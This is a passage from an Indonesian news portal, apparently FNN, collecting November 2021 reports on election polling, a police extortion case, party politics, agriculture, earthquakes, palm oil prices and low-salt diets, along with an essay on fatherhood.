PDIP, Ganjar tetap paling unggul, lebih-lebih jika dipasangkan dengan Airlangga," kata Rudi. Ia mengatakan bahwa elektabilitas Airlangga rendah, seperti halnya Puan yang mewakili trah Soekarno di PDIP, Airlangga merupakan Ketua Umum Golkar. Pasangan capres/cawapres lainnya yang paling mendapat dukungan publik adalah Prabowo-Airlangga 68,3 persen, Ganjar-AHY 58,3 persen, Anies-AHY 53,8 persen, dan Anies-Gatot 51,8 persen. Pasangan sisanya mendapat dukungan kurang dari 50 persen. Sementara itu, elektabilitas Ganjar naik tipis dari survei sebelumnya pada bulan Mei 2021 sebesar 20,2 persen menjadi 21,1 persen. Prabowo berada di bawahnya dengan elektabilitas 17,0 persen, disusul oleh RK 12,5 persen, Anies 8,0 persen, dan Sandiaga 7,5 persen. Berikutnya, AHY 4,5 persen, Tri Rismaharini 4,3 persen, Erick Thohir 4,0 persen, Giring Ganesha 2,2 persen, Khofifah Indar Parawansa 2,0 persen, Puan 1,5 persen, dan Airlangga 1,3 persen. Selanjutnya, Mahfud MD 1,2 persen, Gatot Nurmantyo 1,1 persen, dan Andika Perkasa 1,0 persen. Nama-nama lainnya masih berada di bawah 1 persen, sedangkan sisanya tidak tahu/tidak menjawab sebanyak 10,0 persen. "Menguatnya nama Andika berbarengan dengan terpilihnya sebagai Panglima TNI," ujar Rudi. Survei Y-Publica dilakukan pada tanggal 1—7 November 2021 terhadap 1.200 orang mewakili seluruh provinsi di Indonesia. Data diambil melalui wawancara tatap muka terhadap responden yang dipilih secara multistage random sampling. Margin of error plus minus 2,89 persen, tingkat kepercayaan 95 persen. (sws ant)

Polisi Pemeras Pengendara Motor Jadi Tersangka

Jakarta, FNN - Oknum polisi yang memeras seorang pengendara di Kota Medan, Sumatera Utara, ditetapkan sebagai tersangka dan terancam hukuman 9 tahun penjara. Oknum polisi tersebut adalah Bripka PS yang sebelumnya bertugas di Kepolisian Sektor Deli Tua jajaran Polrestabes Medan. Wakapolrestabes Medan AKBP Irsan Sinuhaji saat ekspos kasus di Mapolrestabes Medan, Sabtu, mengatakan bahwa penetapan tersangka itu dilakukan berdasarkan hasil gelar perkara dan terbukti bahwa yang bersangkutan melakukan unsur pidana pemerasan. "Yang bersangkutan dikenakan Pasal 368 Jo 53 KUHPidana dengan ancaman 9 tahun kurungan penjara," katanya. Irsan mengatakan bahwa yang bersangkutan saat ini sudah ditahan guna mempertanggungjawabkan perbuatannya. Ia memastikan bahwa pihaknya akan memberikan tindakan tegas terhadap personel yang bertindak di luar prosedural yang merugikan masyarakat dan mencoreng institusi kepolisian. "Kami minta warga segera melapor kalau ada oknum Polri yang tidak baik kepada masyarakat," ujarnya. Sebelumnya, aksi pemerasan yang dilakukan Bripka PS terhadap seorang pengendara di Kota Medan berujung amukan massa terjadi pada hari Kamis (11/11). Aksi tersebut viral di media sosial. Awalnya warga merasa curiga dengan aksi Bripka PS saat sedang memintai uang dari seorang pengendara. Warga kemudian mendatangi Bripka PS dan nyaris diamuk karena diduga sebagai polisi gadungan. Setelah diketahui bahwa Bripka PS merupakan anggota polisi sungguhan, warga pun membawanya ke Polrestabes Medan. (sws, ant)

Indonesia Perlu 'Generasi Musim Semi', bukan 'Generasi Musim Dingin' agar Punya Optimisme

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta mengatakan, Indonesia memerlukan 'generasi musim semi', bukan 'generasi musim dingin, sehingga bisa menjadikan Indonesia sebagai kekuatan lima besar dunia. Generasi musim semi, adalah generasi yang penuh optimisme dan keyakinan yang tahu cara mengubah krisis sebagai peluang. Bukan sebaliknya generasi musim semi, generasi yang penuh kebekuan yang tidak tahu arah dan tahun, serta berputus asa dan mudah menyerah. "Jadi kita di Partai Gelora ini, tidak hanya memikirkan nasib kita saja, tetapi juga bisa mengubah wajah Indonesia, tahu cara mengubah krisis menjadi peluang," kata Anis Matta saat menyampaikan pembekalan Rapat Koordinasi Pemenangan DPW Partai Gelora Jawa Tengah (Jateng) di Hotel Patra Jasa Semarang, Jumat (13/11/2021). Menurut Anis Matta, Partai Gelora menyadari bahwa ide lima besar dunia memang masih susah dipahami oleh masyarakat, termasuk para pemimpin sekarang. Tetapi dengan generasi musim semi itu, ide lima besar dunia itu bisa tercapai. Ia memprediksi dalam 10 tahun ke depan, Indonesia akan mengalami guncangan hebat kebangkrutan ekonomi, selain terlibat dalam pusaran konflik geopolitik. Sehingga perlu dipersiapkan langkah-langkah untuk mengantisipasinya, sebelum hal itu benar-benar terjadi. "Saya tahu ini banyak yang tidak nyambung, begitu sulit menjelaskan ini (narasi 5 besar dunia, red). Jangankan orang desa, orang yang di dekat saja istana bingung. Makanya, pemerintahnya bingung, oposisinya juga bingung. Tapi sorot mata saudara, adalah optimisme, penuh keyakinan, senyum optimisme, bukan kesedihan. Itu yang kita perlukan," ujarnya. Dari rasa optimisme itu, lanjutnya, Partai Gelora telah mencapai pencapaian luar biasa, meski dengan sumber daya terbatas dan berada dalam target tekanan selama dua tahun ini. "Kita sudah coba di Pilkada Medan, apa yang tidak mungkin jadi mungkin, karena keyakinan dan optimisme kita, nah ikan akan kita coba secara nasional," katanya. Berdasarkan survei internal, ungkapnya, Partai Gelora sudah masuk 10 besar partai politik (parpol) dan menggeser parpol yang tidak lolos parliament threshold pada Pemilu 2019 lalu. Bahkan di DKI Jakarta, popularitas Partai Gelora sudah mencapai 3 persen. "Ada waktunya kita lemah, tidak berdaya terhadap waktu yang kita targetkan. Saya bisa bayangkan stressnya Anda luar biasa, tetapi dengan kesabaran dan daya tahan kita, alhamduillah sudah mencapai pencapaian luar biasa," katanya. Wakil Ketua Umum Partai Gelora Fahri Hamzah menambahkan, Partai Gelora ingin mengurangi ketegangan-ketegangan yang tidak diperlukan, sehingga bisa fokus untuk membangun. "Partai Gelora punya harapan, rumah besar Indonesia tidak boleh lagi ada ketegangan. Kita lebih baik buruk di layar, tapi orang jatuh cinta kepada kita. Bukan sebaliknya, baik di layar tetapi orang tidak jatuh cinta ke kita," kata Fahri. Anis Matta berharap semua kader Partai Gelora mengusir sumber pesimisme yang ada dalam diri. Karena suasana jiwa negatif dan perasaan tidak berdaya, akan melahirkan kesedihan dan kemalasan. "Kita punya target 2 kursi per dapil, Insya Allah dan dengan penuh keyakinan akan tercapai, makanya saya kirim caleg di Solo Raya ibu Mala (Kumalarasi Kartini, red). Saya tahu ini akan 'brutal', karena yang dihadapi di dapil ini orang kuat dan partai kuat. Tapi jika Allah mengizinkan semua akan berubah," tandasnya. Partai Gelora, ungkap Anis Matta, sudah membuat roadmap pemenangan Pemilu 2024 dalam sebuah gerakan seperti melaunching Blue Helmet, Rumah Qur'an, Majelis Cinta Rosul, gerakan UMKM di Jateng dan gerakan lingkungan di Jawa Barat. Rapat Koordinasi Pemenangan DPW Partai Gelora Jateng ini, selain dihadiri Anis Matta dan Fahri Hamzah, juga dihadiri Sekretaris Jenderal Mahfuz Sidik, Bendahara Umum Achmad Rilyadi, Ketua Bidang Pengembangan Teritori III (Jawa Timur, Jawa Tengah dan Daerah Istimewa Yogyarkarta) Achmad Zaenudin, fungsionaris DPN Partai Gelora, Ketua DPW Jateng Achmadi dan DPD se-Jateng.(sah)

Mentan Ajak Petani Karawang Terapkan Tiga Kali Panen dalam Setahun

Karawang, FNN - Menteri Pertanian (Mentan) Syahrul Yasin Limpo mengajak petani di Kabupaten Karawang, Jawa Barat, meningkatkan produktivitas dengan menerapkan tiga kali tanam atau tiga kali panen dalam setahun. "Karawang ini memang optimalisasi penanaman, ketahanan pangannya cukup bagus. Tapi IP (Indeks Pertanaman)-nya hanya 1,9. Jadi perlu optimalisasi lagi," kata Mentan usai panen raya di Karawang, Sabtu. Ia menyampaikan, semua sudah sepakat, mulai dari tingkat desa hingga kabupaten agar diterapkan tiga kali panen dalam setahun di luas lahan sekitar 4.000 hektare di wilayah Kecamatan Rawamerta. Menurut Syahrul, optimalisasi penanaman tersebut juga perlu dilakukan untuk menghadapi perubahan cuaca sangat ekstrem sesuai dengan imbauan Badan Pangan Dunia (FAO). "Jadi kita harus menyiapkan stok pangan untuk dua tahun ke depan, untuk antisipasi perubahan cuaca sangat ekstrem. Yuk, tiga kali panen dalam setahun. Satu kecamatan ini saja, biar menjadi contoh," katanya. Mentan menyampaikan, dalam menghadapi cuaca yg sangat ekstrem, harus ada akselerasi yang lebih kuat di bidang pertanian demj menjaga ketahanan pangan. "Kita mulai Di Karawang ini dengan model tiga kali tanam, bulan depan dimulai. Jadi yang sudah panen, begitu 14 hari setelah panen harus disikat (panen) lagi. Untuk menjaga stok air, kelebihan air yang ada, akan kita atur. Sehingga kita bisa dapat, minimal tiga kali panen dalam satu tahun," katanya. Meski mendapat reaksi petani yang menyebutkan kalau tiga kali tanam atau tiga kali panen itu rawan serangan hama dan kelangkaan air, Mentan menyampaikan agar petani tidak boleh menyerah atas kondisi itu. Sebab setiap kendala umumnya bisa diatasi. "Kita tidak boleh menyerah, seperti kurang air, pompa air diperkuat, kalau tidak bisa diatasi, tinggal ganti varietas," katanya. Ia menyebutkan Litbang Kementan sudah mempunyai beragam varietas, di antaranya varietas yang tahan genangan air. Ada pula varietas yang bisa ditanam dengan air yang sangat sedikit. "Kita lihat saja nanti, kesepakatan apa yg bisa diambil dalam satu-dua minggu ini. Mudah-mudahan berjalan lancar (tiga kali panen) dan bisa dicontoh daerah lain untuk mengatasi anomali cuaca," kata Mentan. (mth)

BBMKG Catat 41 Gempa Terjadi di Aceh-Sumut Pekan Kedua November 2021

Medan, FNN - Pusat Gempa Regional (PGR) I, Balai Besar Meteorologi, Klimatologi dan Geofisika (BBMKG) Wilayah 1 Medan mencatat ada 41 gempa bumi yang terjadi di Aceh dan Sumatera Utara selama pekan kedua November 2021. "Aktivitas kegempaan bersumber dari aktivitas sesar Sumatera dan sebagian lagi akibat aktivitas subduksi barat Sumatera, " kata Fungsional BBMKG Wilayah I Medan, Marzuki Sinambela, Sabtu, di Medan. Ia menjelaskan gempa yang terjadi pada pekan kedua atau periode 3 hingga 9 November 2021 itu, 40 terjadi dengan magnitudo (M) di bawah 4.0 dan 1 kejadian dengan magnitudo antara 4.0 sampai dengan 5.0. Berdasarkan lokasi, kejadian gempa bumi dominan di darat sebanyak 32 kejadian dan 9 kejadian di laut. Sementara, analisis Pusat Gempa Regional (PGR) I Medan, Triya Fachriyeni,, mengatakan, berdasarkan kedalamannya, dari 41 kejadian gempa yang terjadi di pekan kedua November ini, gempa dangkal (dibawah 60 Km) terjadi sebanyak 34 kejadian dan menengah (kedalaman antara 60 km sampai dengan 300 km) sebanyak 7 kejadian. "Tidak terdapat gempa bumi yang signifikan dan dirasakan pada pekan kedua di bulan November ini, " katanya. Masyarakat di imbau tetap waspada dan tidak perlu panik jika terjadi gempa. Pastikan informasi resmi hanya bersumber dari BMKG yang disebarkan melalui kanal komunikasi resmi yang telah terverifikasi (Instagram/Twitter @infoBMKG), website (http://www.bmkg.go.id atau inatews.bmkg.go.id), atau melalui Mobile Apps (IOS dan Android): wrs-bmkg (user pemda ,pwd pemda-bmkg) atau infobmkg. (mth)

Kepala Polda Jambi Silahturahmi dengan Warga SAD

Jambi, FNN - Kepala Polda Jambi, Inspektur Jenderal Polisi Albertus R Wibowo, bersilaturahmi dengan perwakilan orang rimba atau Suku Anak Dalam (SAD) yang pimpinan Temenggung Ngelembo di halaman Polsek Batin XXIV, Batanghari. Silaturahmi dihadiri Kepala Biro Operasi Polda Jambi, Komisaris Besar Polisi Feri Handoko, Dirreskrimum Polda Jambi, Komisaris Besar Polisi Kaswandi Irwan, Dirlantas Polda Jambi, Komisaris Besar Polisi Heru Sutopo, Kepala Polres Batanghari, AKBP Heru Ekwanto, Camat Batin XXIV Erwin dan Temenggung Ngelembo sebagai perwakilan SAD, kata Kabid Humas Polda Jambi, Komisaris Besar Polisi Mulya Prianto, melalui keterangan resminya yang diterima, Sabtu. Wibowo dalam silahturahmi mengatakan selain silaturahmi, Kapolda juga memberikan bantuan berupa tali asih kepada perwakilan SAD yang diterima oleh Temenggung Ngelembo. Pada kesempatan ini, dia menerima lima pucuk senjata api rakitan jenis kecepek yang diserahkan Temenggung Ngelembo selaku perwakilan SAD. Kunjungan kerja dia dilanjutkan ke Kabupaten Sarolangun ini dalam rangka untuk mencari solusi dan formula yang terbaik dalam penanganan permasalahan antara orang rimba atau Suku Anak Dalam dengan masyarakat dan juga dengan perusahaan. Wibowo, dalam kunjungan kerjanya ke Kabupaten Sarolangun adalah dalam rangka memonitor situasi kamtibmas di wilayah Sarolangun, khususnya Kecamatan Air Hitam, Kabupaten Sarolangun pasca bentrokan beberapa waktu lalu. "Pemerintah Kabupaten Sarolangun, DPRD Sarolangun, Polres Sarolangun, Kodim Sarko, perusahaan kebun sawit PT PKM dan Lembaga Adat (masyarakat dan masyarakat SAD) diharapkan segera melakukan pemulihan pasca konflik SAD dengan PT PKM dan masyarakat," kata Prianto. Semua pihak terkait harus mencarikan solusi terbaik penyelesaian pasca konflik SAD dengan PT PKM dan masyarakat, baik penyelesaian secara hukum positif atau hukum adat dengan tetap mengedepankan azas keadilan, manfaat dan kepastian hukum serta berkomitmen mewujudkan situasi kamtibmas yang aman dan kondusif di wilayah Kecamatan Air Hitam, Kabupaten Sarolangun. "Bapak Kapolda Jambi juga meminta kepada pejabat yang hadir dalam pertemuan itu, bahwa dalam penanganannya juga harus diselesaikan dengan persuasif dan sesuai kearifan lokal setempat," kata dia. (mth)

KKP-Universitas Miyazaki Jepang Kerja Sama Bidang Keamanan Pangan Ikan

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) menjalin kerja sama kemitraan strategis dengan Center for Animal Disease Control (CADIC) University of Miyazaki, Jepang, dalam bidang keamanan pangan komoditas ikan. "Kita juga sepakat untuk berbagi pengetahuan di bidang mutu dan keamanan hasil perikanan dan pengendalian penyakit ikan," kata Kepala Badan Karantina Ikan, Pengendalian Mutu dan Keamanan Hasil Perikanan (BKIPM) KKP Rina dalam siaran pers di Jakarta, Sabtu. Rina mengungkapkan terdapat beberapa poin kesepakatan antara lembaganya dengan perwakilan dari Negeri Sakura tersebut, yang penandatanganan kerja sama tersebut telah dilaksanakan di Denpasar, Bali, 12 November 2021. Ia memaparkan, poin kerja sama BKIPM dengan CADIC di antaranya pengembangan dan penerapan teknologi untuk mendeteksi dan/atau mendiagnosa penyakit ikan dan penyakit yang menjadi perhatian dalam bidang keamanan pangan asal ikan. Selain itu, ujar dia, terdapat juga kesepakatan dalam hal pengembangan kapasitas untuk meningkatkan kemampuan mendeteksi dan/atau mendiagnosa penyakit ikan dan penyakit yang menjadi perhatian dalam bidang keamanan pangan asal ikan. Poin berikutnya yakni dukungan peralatan dan teknologi untuk mendeteksi dan/atau mendiagnosa penyakit ikan dan penyakit yang menjadi perhatian dalam bidang keamanan pangan asal ikan. Sementara Sekretaris BKIPM Hari Maryadi menyebut kesepakatan kedua lembaga sebagai awal bahwa ke depan, BKIPM dan CADIC dapat saling mengisi sekaligus memperluas hubungan di beberapa bidang lainnya. Sebelumnya, Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono mendorong peningkatan kapasitas sumber daya manusia (SDM) di bidang kelautan dan perikanan. Menurut dia, SDM yang tangguh sangat diperlukan dalam mendukung program prioritas KKP untuk keberlanjutan sumber daya laut dan perikanan nasional. Satuan pendidikan KKP tersebar di berbagai daerah di Indonesia, yaitu 1 Politeknik Ahli Usaha Perikanan (Kampus Jakarta, Bogor, dan Serang); 9 Politeknik KP di Pangandaran, Karawang, Sidoarjo, Bitung, Sorong, Kupang, Bone, Dumai, dan Jembrana; 1 Akademi Komunitas di Wakatobi; serta 9 Sekolah Usaha Perikanan Menengah di Aceh, Tegal, Lampung, Pariaman, Pontianak, Bone, Ambon, Sorong, dan Kupang. (mth)

Mahkamah Konstitusi Berperan Strategis Lindungi Hak Anak Dan Perempuan

Jakarta, FNN- Hakim Mahkamah Konstitusi, Arief Hidayat, mengatakan, Mahkamah Konstitusi berperan penting dan strategis dalam memberikan perlindungan terhadap hak-hak konstitusional warga negara, terutama bagi perempuan dan anak di Indonesia dengan cara menuangkannya ke dalam bentuk putusan. Peran penting dan strategis itu, lanjut Arief Hidayat, diperoleh oleh Mahkamah Konstitusi melalui fungsi mereka sebagai pelindung hak konstitusional warga negara (the protector of the citizen’s constitutional rights) dan pelindung hak asasi manusia (the protector of human rights). Hal tersebut disampaikan oleh Arief Hidayat saat menjadi pembicara kunci dalam webinar nasional bertajuk “Kebijakan Negara dalam Menciptakan Ruang Aman Bebas Kekerasan bagi Perempuan dan Anak di Indonesia: Quo Vadis?” yang disiarkan secara langsung dalam kanal YouTube Fakultas Hukum Universitas Diponegoro, dipantau dari Jakarta, Sabtu, 13 November 2021. Dalam seminar yang diselenggarakan oleh Fakultas Hukum Universitas Diponegoro itu, ia pun memaparkan sejumlah putusan Mahkamah Konstitusi yang merupakan bentuk perlindungan terhadap hak-hak perempuan dan anak di Indonesia. “Ada beberapa contoh putusan Mahkamah Konstitusi yang bisa saya sebutkan. Di antaranya Putusan Nomor 1/PUU-VIII/2010 yang merekonstruksi batas usia pertanggungjawaban pidana anak dari semula 8 tahun menjadi 12 tahun,” kata dia, sebagaimana dikutip dari Antara. Kemudian ada Putusan MK Nomor 46/PUU-VIII/2010 yang menyatakan bahwa anak luar kawin, baik dari hasil perkawinan siri maupun anak hasil zina mendapatkan hak keperdataan, seperti hak tumbuh kembang, hak pendidikan, dan hak nafkah. Akan tetapi, mereka dikecualikan dalam mendapatkan hak waris. Yang terakhir, ada pula Putusan MK Nomor 22/PUU-XV/2017 yang telah mengubah batas usia kawin bagi wanita menjadi minimal berusia 19 tahun sehingga sama pula dengan batas usia kawin bagi pria. “Jadi, tidak ada lagi perbedaan batasan kawin di antara laki-laki Indonesia dan perempuan Indonesia,” kata dia. Ia pun menegaskan kekerasan terhadap perempuan dan anak dapat direduksi dengan menjadikan Indonesia sebagai negara kesejahteraan yang khas berdasarkan Pancasila, yaitu kesejahteraan religius. Dalam mewujudkannya, kata dia, bukan hanya menjadi tanggung jawab satu lembaga negara saja, melainkan semua lembaga dalam koridor fungsi dan kewenangannya masing-masing. Warga negara Indonesia pun memiliki tanggung jawab serupa melalui tindakan mematuhi semua peraturan perundang-undangan yang ada dan melaksanakan nilai-nilai Pancasila dalam kehidupan nyata. (MD).

Harga Minyak Sawit Mentah Tembus Rp 14.033 Per Kilogram

Jambi, FNN - Harga minyak sawit mentah atau CPO/Crude Palm Oil di Jambi pada periode 12-18 November 2021, naik sebesar Rp 93 per kilogram dari harga Rp 13.940 per kilogram menjadi Rp 14.033 per kilogram bandingkan peridoe sebelumnya. Hasil yang ditetapkan tim perumus untuk harga Tandan Buah Segar (TBS) kelapa sawit juga naik sebesar Rp 69 per kilogram dari Rp 2.570 menjadi Rp 2.639 per kilogram. "Sedangkan inti sawit naik cukup signifikan sebesar Rp 868 per kilogram atau dari Rp 9.743 per kilogram jadi Rp10.611 per kilogram," kata Panitia Penetapan Harga TBS Sawit Provinsi Jambi, Putri Rainun, yang diterima Sabtu, 13 November 2021. Untuk harga CPO, TBS sawit dan inti sawit beberapa periode terakhir terus mengalami kenaikan dibandingkan periode lalu. Hal itu berdasarkan hasil keputusan dari kesepakatan tim perumus harga CPO di Jambi bersama para petani, perusahaan perkebunan sawit serta pihak terkait Harga lengkap sebagai berikut : Harga TBS usia tanam tiga tahun yang ditetapkan Rp 2.639 per kilogram, usia tanam 4 tahun Rp 2.816 per kilogram. Kemudian, usia tanam 5 tahun Rp 2.946 per kilogram, usia tanam 6 tahun Rp 3.069 per kilogram, dan usia tanam 7 tahun Rp 3.147 per kilogram. Selanjutnya, usia tanam 8 tahun senilai Rp 3.213 per kilogram, usia tanam 9 tahun Rp3.277 per kilogram, usia tanam 10 sampai dengan 20 tahun Rp3.378 per kilogram, usia 21 hingga 24 tahun Rp3.276 per kilogram dan di atas 25 tahun Rp2.126 per kilogram. Penetapan harga CPO, TBS, dan inti sawit merupakan kesepakatan tim perumus dalam satu rapat dihadiri para pengusaha, koperasi, dan kelompok tani sawit setempat dan berdasarkan Peraturan Menteri Pertanian dan peraturan gubernur. (MD).

Selamat Hari Ayah

Padi-padi kuning yang dulu menyiur melambai, kini gugur satu per satu. Dunia kita telah menjelma menjadi tanah tandus yang retak, rumah-rumah kita menjadi sarang hantu yang begitu menyeramkan. Takkan pernah ada di antara mereka yang sanggup bertahan lama. Oleh : Anis Matta BETAPA menggetarkannya panggilan itu. Betapa mengharu-birukannya nada itu. Betapa menggairahkannya suara patah-patah itu. Selalu ada nuansa baru setiap kali empat huruf itu menguntai menjadi kata dan meluncur dari mulut kecil seorang bocah. Ayah! Betapa kata itu memberi saya, dan juga kamu, bahkan kita semua para ayah, gairah kehidupan yang senantiasa mendorong langkah kita melanjutkan perjalanan berat ini, merambah belantara dunia yang kadang tidak bersahabat, atau bahkan memecahkan seonggok karang besar di tengah samudera kehidupan. Setelah kata iman, tidak ada lagi kata dalam kamus kehidupan —selain kata ayah— yang mampu mengajari Anda tentang makna pertanggungjawaban yang paling hakiki. Sesuatu yang muncul dengan tulus saat Anda menangkap kesan ‘diharapkan’ di balik panggilan itu. Sesuatu yang muncul dengan kuat dan elegan ketika Anda merasa menjadi ‘benteng’ proteksi dan perlindungan bagi sejumlah anak manusia. Sesuatu yang dapat mengubah pemujaan Anda terhadap diri sendiri menjadi pengorbanan yang paling tulus ketika Anda harus menjadi perisai bagi beberapa jiwa manusia. Tiba-tiba saja Anda telah berada di situ, di depan kata ini: maut! Dan dua butir bola kecil yang membulir di celah pipi Anda takkan pernah membuatmu sedih, atau bahkan menyentuh perasaan yang begitu kuat menggelora dalam batin: kebanggaan. Ayah! Tetapi, kata itu adalah juga melodi yang paling harmoni dengan getaran obsesi kelaki-lakian kita. Beberapa bagian dari ’makna sosial’ kelaki-lakian kita takkan pernah terpenuhi sebelum kata itu mengganti nama saya, dan juga Anda, untuk kemudian menjadi panggilan sehari-hari. Mimpi-mimpi superioritas Anda sebagiannya menjelma jadi kenyataan di sini; ketika bocah-bocah kecil itu bergelendotan di lengan kekar Anda, atau ketika istri Anda melakukan sesuatu yang tidak Anda senangi dan Anda mengatakan, "Saya tidak suka ini!" Mungkin Anda bukan seorang penguasa negara, atau seorang jenderal dengan ribuan prajurit atau seorang manajer besar dengan ratusan bawahan. Mungkin sekali Anda hanya seorang prajurit biasa, atau seorang bawahan kecil, atau seorang pesuruh. Tetapi, rumah - walaupun hanya kontrak - tempat Anda setiap hari dipanggil ayah, adalah wilayah teritorial Anda. Dalam wilayah kecil itu, masih tersisa sesuatu yang bisa memberi Anda rasa berkuasa. Karena Anda adalah ayah. Karena Anda adalah qawwam. Mungkin posisi dalam pekerjaan Anda tidak menggoda orang banyak untuk selalu memberi Anda seuntai senyum manis di pagi hari. Bahkan sebaliknya, Andalah yang harus setiap saat mengobral senyum, memberi kesan hormat, untuk memuaskan rasa berkuasa atasan Anda, dan guna mempertahankan posisi Anda yang sebenarnya sudah sempit dan sumpek. Akan tetapi, di sini dalam wilayah teritorial Anda tadi, Anda berhak mendapat senyum Ayah! Dan ketika lelaki-lelaki modern enggan menjadi kata itu, maka kata itu juga enggan menjadi mereka. Ketika mereka menolak janji-janji kata itu, menganggapnya sebagai gerbang menuju neraka, menganggapnya sebagai pintu penjara, kata itu justru enggan membantu mereka melepaskan diri dari jeratan kesendirian, membasuh kulit mereka yang melepuh akibat sengatan matahari. Kata itu jadi enggan menyediakan dermaga tempat mereka menambat perahu hati, berlabuh dari galau kehidupan. Satu-satu laki-laki modern itu mati tertusuk sembilu sepi. Padi-padi kuning yang dulu menyiur melambai, kini gugur satu per satu. Dunia kita telah menjelma menjadi tanah tandus yang retak, rumah-rumah kita menjadi sarang hantu yang begitu menyeramkan. Takkan pernah ada di antara mereka yang sanggup bertahan lama. Setiap jengkal tanah yang kita lewati adalah mayat. Ketika mayat-mayat telah habis, kitalah yang akan menjadi jengkal tanah baru yang akan dilalui oleh mereka yang ditakdirkan hidup. Bumi kita bukan lagi firdaus. Ia telah menjelma menjadi kuburan tanpa batas. Di ujung jengkal tanah itu, ketika tidak lagi ada sisa mayat, ketika sebentar lagi ia akan menjadi sejengkal tanah, seorang lelaki tua dari tanah Egypt, aktor dunia yang kini bermukim di Perancis, berujar perlahan, ”Ambillah segenap kekayaan dan popularitasku, tetapi berikan aku seorang anak, biarkan tangisnya memecah sunyi dalam jiwaku. Aku ingin jadi ayah!”

Australia Akan Bergabung dengan AS untuk Bela Taiwan

Melbourne, FNN - Menteri Pertahanan Australia Peter Dutton menyatakan "tidak terbayangkan" bagi Australia untuk tidak bergabung dengan Amerika Serikat jika Washington mengambil tindakan untuk membela Taiwan. Pada Rabu (10/11), Menteri Luar Negeri AS Antony Blinken mengatakan AS dan sekutunya akan mengambil tindakan yang belum ditentukan jika China menggunakan kekuatan untuk mengubah status quo atas Taiwan. "Tidak terbayangkan bahwa kami tidak akan mendukung AS jika AS memutuskan untuk mengambil tindakan itu," kata Dutton kepada surat kabar The Australian dalam sebuah wawancara. "Dan, sekali lagi, saya pikir kita harus sangat jujur dan terang-terangan tentang itu, melihat semua fakta dan keadaan tanpa melakukan komitmen awal, dan mungkin ada keadaan di mana kami tidak akan mengambil opsi itu," ujar dia, menambahkan. Militer China mengatakan pada Selasa (9/11) bahwa mereka melakukan patroli kesiapan tempur ke arah Selat Taiwan, setelah kementerian pertahanannya mengutuk kunjungan delegasi Kongres AS ke pulau yang diatur secara demokratis yang diklaim oleh Beijing. "(China) sudah sangat jelas tentang niat mereka untuk pergi ke Taiwan dan kami perlu memastikan bahwa ada tingkat kesiapsiagaan yang tinggi, rasa pencegahan yang lebih besar dengan kemampuan kami, dan itulah saya pikir cara kami menempatkan negara kami di posisi yang kuat," kata Dutton. China tidak mengesampingkan penggunaan kekuatan untuk memaksa Taiwan di bawah kendalinya, tetapi telah meremehkan gagasan bahwa perang sudah dekat. (mth)

Manfaat Diet Rendah Garam

Jakarta, FNN - Konsumsi makanan dengan kandungan garam yang terlalu tinggi berisiko menyebabkan berbagai penyakit seperti hipertensi hingga dapat mengakibatkan berbagai penyakit degeneratif seperti hipertensi, stroke, hingga gagal jantung Namun sebaliknya, jika kekurangan, maka efeknya adalah gangguan fungsi otot dan saraf, gangguan kontrol gula darah, dan lain lain. Guru Besar Keamanan & Gizi Pangan Fakultas Ekologi Manusia (FEMA), Institut Pertanian Bogor (IPB), Prof Ahmad Sulaeman mengatakan salah satu tips melakukan diet rendah garam adalah menggunakan alternatif garam. Hal itu untuk mencegah penyakit degeneratif, seperti diabetes, jantung, dan hipertensi, guna mewujudkan hidup sehat. "Ganti garam dengan bumbu umami dengan takaran secukupnya," kata Profesor Ahmad dalam jumpa media virtual pada Jumat (12/11). Strategi lain menurunkan asupan garam dalam konsumsi sehari-hari adalah dengan memilih pangan berbumbu rendah atau bahkan tanpa sodium. "Batasi pangan olahan yang tinggi sodium atau juga pangan yang diproses misal di-curing, diasap atau bahkan diasinkan," kata dia. Meski demikian Profesor Ahmad mengingatkan agar garam tidak serta merta dihilangkan dari konsumsi sehari-hari karena tubuh masih memerlukan asupan garam untuk menjaga keseimbangan elektrolit pada tubuh. Rasa umami merupakan rasa dasar kelima yang ditemukan setelah asin, manis, asam, pahit, yang biasa kita kenal dengan rasa gurih. Rasa umami dapat ditemukan dari berbagai bahan makanan seperti jamur, tomat, terasi, dan lain-lain, karena mengandung asam amino glutamat. "Penguat rasa, seperti monosodium glutamat, MSG juga merupakan sumber rasa umami. Penggunaan MSG dalam makanan bergizi seimbang dapat menjadi salah satu strategi untuk menciptakan makanan sehat, lezat, dan bergizi untuk kita dan keluarga nikmati supaya tetap fit," kata Profesor Ahmad. Selain sebagai strategi diet rendah garam, Profesor Ahmad mengungkapkan bahwa penggunaan bumbu umami seperti MSG pada masakan juga memiliki berbagai manfaat lain seperti meningkatkan selera makan sekaligus meningkatkan performa harian, meningkatkan pencernaan makanan berprotein, serta mampu meningkatkan produksi saliva (air liur) yang berperan membantu proses pencernaan senyawa kompleks di mulut, sehingga pada saat sudah di lambung pun kemudian mudah diserap tubuh. Sementara itu Pakar kesehatan sekaligus Ketua Umum Pergizi Pangan Indonesia Profesor Hardinsyah mengatakan MSG bisa dijadikan alternatif pengganti garam dalam rangka mengurangi asupan garam. "Banyak penelitian di luar negeri seperti di Jepang, menunjukkan bahwa penggunaan MSG bisa menjadi strategi diet rendah garam. Sebab, kandungan natrium dalam MSG hanya sepertiga dari kandungan natrium pada garam dapur biasa," kata dia. Diet rendah garam dinilai akan meningkatkan imunitas tubuh karena bisa menekan faktor pemicu penyakit degeneratif seperti hipertensi. Untuk menjaga imunitas di kala pandemi virus corona (COVID-19), Profesor Ahmad menyarankan tetap menjaga gaya hidup sehat dengan berolahraga teratur, serta menghindari kebiasaan merokok dan minuman alkohol. Batasan Prof Ahmad menyarankan takaran bumbu umami seperti dalam monosodium glutamate, MSG, sebagai pengganti garam adalah sebanyak 0,2 hingga 0,8 persen dari volume makanan. "Misalnya untuk satu liter sup, tambahkan seujung sendok saja. Jadi kalau mau diet garam bisa memasukkan garam satu gram garam," kata Profesor Ahmad. Menurut Ahmad, MSG terdiri dari asam glutamat 78 persen, natrium 12 persen, dan air 10 persen, dan merupakan zat gizi. Asam glutamat banyak terkandung dalam bahan makanan kita sehari-hari seperti telur, ikan, daging, dan juga sayuran. "MSG bukan unsur kimia yang berbahaya. Bahan bakunya dari tetes tebu melalui proses fermentasi," kata dia. Menurut dia, MSG juga baik sebagai pengganti garam karena bisa membuat makanan memiliki cita rasa yang tinggi, namun rendah garam. "Kandungan natrium pada MSG itu hanya sepertiga kandungan natrium pada garam dapur normal, dan sudah banyak juga penelitian terdahulu yang 